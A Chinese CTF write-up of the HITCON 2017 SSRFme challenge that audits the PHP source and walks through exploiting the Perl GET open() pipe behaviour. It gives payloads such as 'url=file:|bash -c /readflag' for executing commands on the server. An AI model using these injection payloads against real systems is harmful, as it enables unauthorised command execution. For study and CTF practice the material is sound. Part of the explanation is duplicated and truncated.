当前位置: 首页 > news >正文

[HITCON 2017]SSRFme 1

目录

  • 代码审计
    • @ 符号
    • shell_exec() 函数:
    • GET " . escapeshellarg($_GET["url"]):
    • pathinfo($_GET["filename"]
    • basename()
  • 题目解析

代码审计

118.182.186.90
<?phpif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];}echo $_SERVER["REMOTE_ADDR"];$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);@mkdir($sandbox);@chdir($sandbox);$data = shell_exec("GET " . escapeshellarg($_GET["url"]));$info = pathinfo($_GET["filename"]);$dir  = str_replace(".", "", basename($info["dirname"]));@mkdir($dir);@chdir($dir);@file_put_contents(basename($info["basename"]), $data);highlight_file(__FILE__);

输出ip地址
基于客户端IP地址和固定字符串 “orange” 计算得出的MD5哈希值作为目录名的文件夹,并将当前工作目录切换到这个新创建的目录中

@ 符号

用来抑制可能出现的PHP警告或错误,如果无法创建目录则不会抛出错误信息

shell_exec() 函数:

  • shell_exec() 是 PHP 中用于执行 shell 命令并返回输出结果的函数。

GET " . escapeshellarg($_GET[“url”]):

GET函数在底层调用了perl语言中的open函数,但是该函数存在rce漏洞。当open函数要打开的文件名中存在管道符(并且系统中存在该文件名),就会中断原有打开文件操作,并且把这个文件名当作一个命令来执行。

pathinfo($_GET[“filename”]

pathinfo() 函数:pathinfo() 函数用来返回一个关联数组,其中包含文件路径的信息。它可以提取以下信息:

dirname:文件路径的目录部分。
basename:文件名和扩展名部分。
extension:文件的扩展名。
filename:文件名(不包括扩展名)

basename()

basename() 是 PHP 中用来获取文件名的函数,它可以从一个文件路径中提取文件的基本文件名部分(不包括目录路径),或者从一个 URL 中提取最后一部分路径(通常是文件名或者目录名)。

thinfo($_GET[“filename”]
pathinfo() 函数:
pathinfo() 函数用来返回一个关联数组,其中包含文件路径的信息。它可以提取以下信息:
dirname:文件路径的目录部分。
basename:文件名和扩展名部分。
extension:文件的扩展名。
filename:文件名(不包括扩展名)
basename()
basename() 是 PHP 中用来获取文件名的函数,它可以从一个文件路径中提取文件的基本文件名部分(不包括目录路径),或者从一个 URL 中提取最后一部分路径(通常是文件名或者目录名)。

题目解析

先读取一下根目录

payload:?url=file:///&filename=a

再访问

payload:sandbox/(orange加你的ip的md5值)/a

在这里插入图片描述
读了一下flag为空,存在readflag
通过GET特性,来运行readflag
需要先创建一个存在运行命令的文件名

payload:?url=&filename=|bash -c /readflag

然后访问该文件的时候,会执行该命令,并将结果储存在abc中

payload:?url=file:|bash -c /readflag&filename=abc

访问abc

payload:sandbox/(orange加你的ip的md5值)/abc

得到flag
在这里插入图片描述

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • LInux:循环语句
  • Servlet (1)
  • 【2024】InfluxDB v2 介绍和安装使用(1)
  • Thread-Caching Malloc 简介
  • 第十九天内容
  • 君正T41开发板环境搭建_串口登陆_配置IP_telnet登陆_mount挂载_安装交叉编译工具链
  • Redis篇之持久化数据恢复
  • Native Programs(本机程序)
  • Python爬虫-中国汽车市场月销量数据
  • 服务器并发模型
  • 互联网家政小程序,为大众带来高效、便捷的服务
  • 多个线程同时调用接口
  • 【Canvas与艺术】六角大楼
  • Windows重装系统「统信UOS」+家庭版专业版选择
  • Python基础知识笔记——特殊符号
  • 9月CHINA-PUB-OPENDAY技术沙龙——IPHONE
  • Flex布局到底解决了什么问题
  • JavaScript-Array类型
  • Nodejs和JavaWeb协助开发
  • Redis在Web项目中的应用与实践
  • WordPress 获取当前文章下的所有附件/获取指定ID文章的附件(图片、文件、视频)...
  • Zepto.js源码学习之二
  • 普通函数和构造函数的区别
  • 前端
  • 双管齐下,VMware的容器新战略
  • 我的面试准备过程--容器(更新中)
  • 验证码识别技术——15分钟带你突破各种复杂不定长验证码
  • Java数据解析之JSON
  • 资深实践篇 | 基于Kubernetes 1.61的Kubernetes Scheduler 调度详解 ...
  • # include “ “ 和 # include < >两者的区别
  • # Swust 12th acm 邀请赛# [ K ] 三角形判定 [题解]
  • #Linux杂记--将Python3的源码编译为.so文件方法与Linux环境下的交叉编译方法
  • #传输# #传输数据判断#
  • #大学#套接字
  • $nextTick的使用场景介绍
  • (11)工业界推荐系统-小红书推荐场景及内部实践【粗排三塔模型】
  • (7)STL算法之交换赋值
  • (Bean工厂的后处理器入门)学习Spring的第七天
  • (附源码)python旅游推荐系统 毕业设计 250623
  • (附源码)springboot青少年公共卫生教育平台 毕业设计 643214
  • (免费领源码)python#django#mysql校园校园宿舍管理系统84831-计算机毕业设计项目选题推荐
  • (十)T检验-第一部分
  • (十一)c52学习之旅-动态数码管
  • (四) Graphivz 颜色选择
  • (学习日记)2024.01.19
  • (一)Docker基本介绍
  • (一)Java算法:二分查找
  • (译)2019年前端性能优化清单 — 下篇
  • (原创) cocos2dx使用Curl连接网络(客户端)
  • .NET Core WebAPI中使用swagger版本控制,添加注释
  • .NET Framework与.NET Framework SDK有什么不同?
  • .NET开源项目介绍及资源推荐:数据持久层
  • .net网站发布-允许更新此预编译站点
  • @RequestBody与@ModelAttribute
  • [20170713] 无法访问SQL Server